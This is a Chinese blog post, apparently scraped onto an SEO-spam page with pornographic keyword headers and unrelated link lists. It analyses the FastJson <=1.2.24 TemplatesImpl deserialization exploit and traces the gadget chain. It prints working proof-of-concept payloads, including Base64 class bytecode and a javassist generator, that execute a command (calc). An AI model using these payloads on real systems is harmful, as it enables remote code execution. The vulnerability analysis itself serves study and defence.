中文亚洲精品无码_熟女乱子伦免费_人人超碰人人爱国产_亚洲熟妇女综合网

當(dāng)前位置: 首頁 > news >正文

網(wǎng)站一鍵制作哪家公司做seo

網(wǎng)站一鍵制作,哪家公司做seo,wordpress站點(diǎn)標(biāo)題字?jǐn)?shù),網(wǎng)站開發(fā)培訓(xùn)少兒FastJson在< 1.2.24 版本中存在反序列化漏洞&#xff0c;主要原因FastJson支持的兩個(gè)特性&#xff1a; fastjson反序列化時(shí)&#xff0c;JSON字符串中的type字段&#xff0c;用來表明指定反序列化的目標(biāo)惡意對(duì)象類。fastjson反序列化時(shí)&#xff0c;字符串時(shí)會(huì)自動(dòng)調(diào)用惡意對(duì)…

FastJson在<= 1.2.24 版本中存在反序列化漏洞,主要原因FastJson支持的兩個(gè)特性:

  • fastjson反序列化時(shí),JSON字符串中的@type字段,用來表明指定反序列化的目標(biāo)惡意對(duì)象類。
  • fastjson反序列化時(shí),字符串時(shí)會(huì)自動(dòng)調(diào)用惡意對(duì)象的構(gòu)造方法,set方法,get方法,若這類方法中存在利用點(diǎn),即可完成漏洞利用。

主要存在兩種利用方式:

  • JdbcRowSetImpl(JNDI)
  • TemplatesImpl(Feature.SupportNonPublicField)

這里分析TemplatesImpl利用鏈

漏洞復(fù)現(xiàn)

首先創(chuàng)建一個(gè)maven項(xiàng)目、導(dǎo)入Fastjson1.2.23并自動(dòng)下載相關(guān)依賴

image-20231218183253537

然后寫入如下代碼至Main.java

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;public class Main {public static void main(String[] args) {ParserConfig config = new ParserConfig();String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);}
}

POC中的利用鏈TemplatesImpl類的中的絕大多數(shù)成員變量是被private修飾,影響漏洞的主要是_bytecodes_outputProperties 兩個(gè)成員變量。

  • @type :反序列化的惡意目標(biāo)類型TemplatesImpl,FastJson最終會(huì)按照這個(gè)類反序列化得到實(shí)例
  • _bytecodes:繼承AbstractTranslet 類的惡意類字節(jié)碼,使用Base64編碼。
  • _outputPropertiesTemplatesImpl反序列化過程中會(huì)調(diào)用getOutputProperties 方法,導(dǎo)致bytecodes字節(jié)碼成功實(shí)例化,造成命令執(zhí)行。
  • _name:調(diào)用getTransletInstance 時(shí)會(huì)判斷其是否為null,為null直接return,不會(huì)進(jìn)入到惡意類的實(shí)例化過程;
  • _tfactorydefineTransletClasses 中會(huì)調(diào)用其getExternalExtensionsMap 方法,為null會(huì)出現(xiàn)異常;

運(yùn)行之后直接彈出計(jì)算器:

image-20231218183923530

漏洞分析

上面的text里面的_bytecodes的內(nèi)容是以下內(nèi)容通過javac編譯成字節(jié)碼文件(.class)再base64編碼后的結(jié)果:

image-20231218185111759

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Test extends AbstractTranslet {public Test() throws IOException {Runtime.getRuntime().exec("calc");}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}@Overridepublic void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {}public static void main(String[] args) throws Exception {Test t = new Test();}
}

可以看到,我們通過以上代碼直接定義類Test,并在類的構(gòu)造方法中執(zhí)行calc的命令;至于為什么要寫上述代碼的第14-21行,因?yàn)?code>Test類是繼承AbstractTranslet的,上述代碼的兩個(gè)transform方法都是實(shí)現(xiàn)AbstractTranslet接口的抽象方法,因此都是需要的;具體來說的話,第一個(gè)transform帶有SerializationHandler參數(shù),是為了把XML文檔轉(zhuǎn)換為另一種格式,第二個(gè)transform帶有DTMAxisIterator參數(shù),是為了對(duì)XML文檔中的節(jié)點(diǎn)進(jìn)行迭代。
**總結(jié):**對(duì)于上述代碼,應(yīng)該這么理解:建立Test類,并讓其繼承AbstractTranslet類,然后通過Test t = new Test();來初始化,這樣我就是假裝要把xml文檔轉(zhuǎn)換為另一種格式,在此過程中會(huì)觸發(fā)構(gòu)造方法,而我在構(gòu)造方法中的代碼就是執(zhí)行calc,所以會(huì)彈出計(jì)算器。

為什么要繼承AbstractTranslet

https://blog.csdn.net/solitudi/article/details/119082164

JavaClassLoader類提供了defineClass()方法,可以把字節(jié)數(shù)組轉(zhuǎn)換成Java類的實(shí)例

defineClass的利用方式

public class TouchFile{public TouchFile() throws Exception {Runtime.getRuntime().exec("calc");}}

把它編譯成字節(jié)碼后Base64
之后運(yùn)行

Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code =Base64.getDecoder().decode("yv66vgAAADQAHgoABgARCgASABMIABQKABIAFQcAFgcAFwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAYAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAApTb3VyY2VGaWxlAQAOVG91Y2hGaWxlLmphdmEMAAcACAcAGQwAGgAbAQAEY2FsYwwAHAAdAQAJVG91Y2hGaWxlAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAACAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAEAAEABEADQASAAsAAAAEAAEADAAJAA0ADgACAAkAAAAmAAIAAQAAAAq4AAISA7YABFexAAAAAQAKAAAACgACAAAAFgAJABcACwAAAAQAAQAMAAEADwAAAAIAEA==");
Class yyds= (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "TouchFile", code, 0, code.length);
yyds.newInstance();

成功彈出了計(jì)算器

image-20231219163042298

但是這里面的方法的作用域是被Protected修飾的,也就是說這個(gè)方法只能在ClassLoader類中訪問,不能被其他包中的類訪問:

image-20231219162422592

TransletClassLoader類繼承了ClassLoader

image-20231219162620372

并且在TransletClassLoader類中,defineClass調(diào)用了ClassLoader里面的defineClass方法:

image-20231219163132353

然后追蹤TransletClassLoader的使用,發(fā)現(xiàn)是defineTransletClasses

image-20231219163248524

image-20231219163438492

再往上追蹤defineTransletClasses的使用,發(fā)現(xiàn)是getTransletInstance

image-20231219163607448

image-20231219163705606

到此為止,要么是Private修飾要么就是Protected修飾,需要再往上繼續(xù)追蹤,發(fā)現(xiàn)是newTransformer,可以看到此時(shí)已經(jīng)是public了:

image-20231219163815811

因此,利用鏈如下:

TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

基于此,我們可以寫出如下POC

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Base64;public class Main {public static class test{}public static void main(String[] args) throws Exception {ClassPool pool = ClassPool.getDefault();CtClass cc = pool.get(test.class.getName());String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";cc.makeClassInitializer().insertBefore(cmd);String randomClassName = "test" + System.nanoTime();cc.setName(randomClassName);cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));try {byte[] evilCode = cc.toBytecode();String evilCode_base64 = Base64.getEncoder().encodeToString(evilCode);final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";String text1 = "{"+"\"@type\":\"" + NASTY_CLASS +"\","+"\"_bytecodes\":[\""+evilCode_base64+"\"],"+"'_name':'test',"+"'_tfactory':{ },"+"'_outputProperties':{ }"+"}\n";ParserConfig config = new ParserConfig();Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);} catch (Exception e) {e.printStackTrace();}}
}
解釋一下這段POC:首先,代碼導(dǎo)入了一些類,包括com.alibaba.fastjson.JSON和com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,還有javassist庫的一些類。在Main類中定義了一個(gè)內(nèi)部靜態(tài)類test,沒有任何具體實(shí)現(xiàn)。在main方法中,代碼創(chuàng)建了一個(gè)ClassPool對(duì)象,它是Javassist庫的一部分,用于管理類的池。然后使用pool.get(test.class.getName())獲取了test類的CtClass對(duì)象。接下來,代碼構(gòu)造了一個(gè)字符串變量cmd,內(nèi)容是要執(zhí)行的命令,這里是java.lang.Runtime.getRuntime().exec("calc");,即執(zhí)行計(jì)算器程序。然后,通過cc.makeClassInitializer().insertBefore(cmd)在test類中插入了一個(gè)類初始化器,該類初始化器會(huì)在類初始化時(shí)執(zhí)行指定的命令。接下來,代碼生成一個(gè)隨機(jī)的類名,并使用cc.setName(randomClassName)將test類的名稱修改為隨機(jī)生成的類名。然后,通過cc.setSuperclass(pool.get(AbstractTranslet.class.getName()))設(shè)置test類的父類為AbstractTranslet類,這是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的一個(gè)實(shí)現(xiàn)。最后,代碼使用Fastjson庫解析一個(gè)JSON字符串text1,并嘗試將其轉(zhuǎn)換為Java對(duì)象。這里使用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl作為目標(biāo)類型。在解析過程中,Fastjson庫的Feature.SupportNonPublicField特性被啟用,以支持解析非公共字段。

image-20231219174501971

對(duì)于JSON字符串text1

            String text1 = "{"+"\"@type\":\"" + NASTY_CLASS +"\","+"\"_bytecodes\":[\""+evilCode_base64+"\"],"+"'_name':'test',"+"'_tfactory':{ },"+"'_outputProperties':{ }"+"}\n";
  • @type :反序列化的惡意目標(biāo)類型TemplatesImpl,FastJson最終會(huì)按照這個(gè)類反序列化得到實(shí)例
  • _bytecodes:繼承AbstractTranslet 類的惡意類字節(jié)碼,使用Base64編碼。最終這個(gè)類會(huì)被加載并使用newInstance()實(shí)例化
  • _outputPropertiesTemplatesImpl反序列化過程中會(huì)調(diào)用getOutputProperties 方法,導(dǎo)致bytecodes字節(jié)碼成功實(shí)例化,造成命令執(zhí)行。
  • _name:調(diào)用getTransletInstance 時(shí)會(huì)判斷其是否為null,為null直接return,不會(huì)進(jìn)入到惡意類的實(shí)例化過程;
  • _tfactorydefineTransletClasses 中會(huì)調(diào)用其getExternalExtensionsMap 方法,為null會(huì)出現(xiàn)異常

為什么這么構(gòu)造呢?還是直接看defineTransletClasses這里:

image-20231219175611078

可以看到,邏輯是這樣的:先判斷_bytecodes是否為空,如果不為空,則執(zhí)行后續(xù)的代碼;后續(xù)的代碼中,會(huì)調(diào)用到自定義的ClassLoader去加載_bytecodes中的byte[],并對(duì)類的父類進(jìn)行判斷,如果是ABSTRACT_TRANSLET也就是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,那么就把類成員屬性的_transletIndex設(shè)置成當(dāng)前循環(huán)中的標(biāo)記位,第一次調(diào)用的話,就是class[0]。

image-20231219180803622

可以看到,這里的_bytecodes_outputProperties都是類成員變量。同時(shí),_outputProperties有自己的getter方法,也就是getOutputProperties

在Fastjson庫的反序列化過程中,當(dāng)遇到TemplatesImpl類的實(shí)例時(shí),Fastjson會(huì)嘗試調(diào)用getOutputProperties()方法來獲取輸出屬性。

這是由于Fastjson庫在解析過程中會(huì)調(diào)用目標(biāo)類的一些方法,以了解對(duì)象的結(jié)構(gòu)和屬性。而TemplatesImpl類中的getOutputProperties()方法是Java API規(guī)定的方法之一,Fastjson會(huì)默認(rèn)調(diào)用它。

image-20231219180820601

getOutputProperties()方法觸發(fā)了整個(gè)漏洞利用流程:getOutputProperties() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() / EvilClass.newInstance()

JavaClassLoader類提供了defineClass()方法,可以把字節(jié)數(shù)組轉(zhuǎn)換成Java類的實(shí)例

image-20231219184037545

參考

https://mp.weixin.qq.com/s/SOKLC_No0hV9RhAavF2hcw

https://xz.aliyun.com/t/7846

http://www.risenshineclean.com/news/4637.html

相關(guān)文章:

  • 網(wǎng)站開發(fā)與維護(hù)算什么職位公司培訓(xùn)
  • 怎么來自己做網(wǎng)站優(yōu)化360手機(jī)優(yōu)化大師安卓版
  • 嘉興做網(wǎng)站優(yōu)化識(shí)圖搜索在線 照片識(shí)別
  • 網(wǎng)站建設(shè)公司新聞免費(fèi)發(fā)布信息網(wǎng)站大全
  • 網(wǎng)站建設(shè)銀川網(wǎng)站注冊(cè)時(shí)間查詢
  • 如何做影視劇網(wǎng)站交換鏈接適合哪些網(wǎng)站
  • 長(zhǎng)沙網(wǎng)站制作app開發(fā)公司百度搜索推廣和信息流推廣
  • 龍崗網(wǎng)站注冊(cè)電子商務(wù)專業(yè)就業(yè)方向
  • 橙子建站官網(wǎng)是哪個(gè)seo代碼優(yōu)化工具
  • 電子線路板東莞網(wǎng)站建設(shè)免費(fèi)的seo優(yōu)化
  • java做企業(yè)網(wǎng)站小小課堂seo自學(xué)網(wǎng)
  • 做ppt一般在什么網(wǎng)站要怎么網(wǎng)絡(luò)做推廣
  • 怎么用b2b網(wǎng)站做排名快速優(yōu)化工具
  • 哪種瀏覽器可以打開所有網(wǎng)站不限制內(nèi)容的搜索引擎
  • 網(wǎng)做網(wǎng)站google關(guān)鍵詞查詢工具
  • 幫公司做網(wǎng)站商丘網(wǎng)站seo
  • 公司網(wǎng)站開發(fā)招標(biāo)書天津優(yōu)化公司哪家好
  • 空間商網(wǎng)站站長(zhǎng)之家域名查詢官網(wǎng)
  • 做海外網(wǎng)站推廣直播營銷
  • 自己個(gè)人的網(wǎng)站怎么設(shè)計(jì)營銷策劃的六個(gè)步驟
  • 網(wǎng)站使用幫助內(nèi)容銷售策略和營銷策略
  • 網(wǎng)站公司建設(shè)網(wǎng)絡(luò)營銷方法
  • 可以做產(chǎn)品推廣的網(wǎng)站寧波seo關(guān)鍵詞
  • 網(wǎng)站怎么做預(yù)約小程序電商網(wǎng)站seo
  • 個(gè)人博客網(wǎng)站建設(shè)選題說明seo關(guān)鍵詞優(yōu)化案例
  • 荊州建設(shè)局網(wǎng)站軟件外包公司是什么意思
  • 什么網(wǎng)站可以找到防水工程做網(wǎng)絡(luò)推廣的主要工作內(nèi)容
  • 維護(hù)一個(gè)網(wǎng)站需要多少錢怎么制作網(wǎng)頁廣告
  • 網(wǎng)站空間和數(shù)據(jù)庫空間seo基礎(chǔ)入門視頻教程
  • 做黃金理財(cái)?shù)木W(wǎng)站短視頻seo排名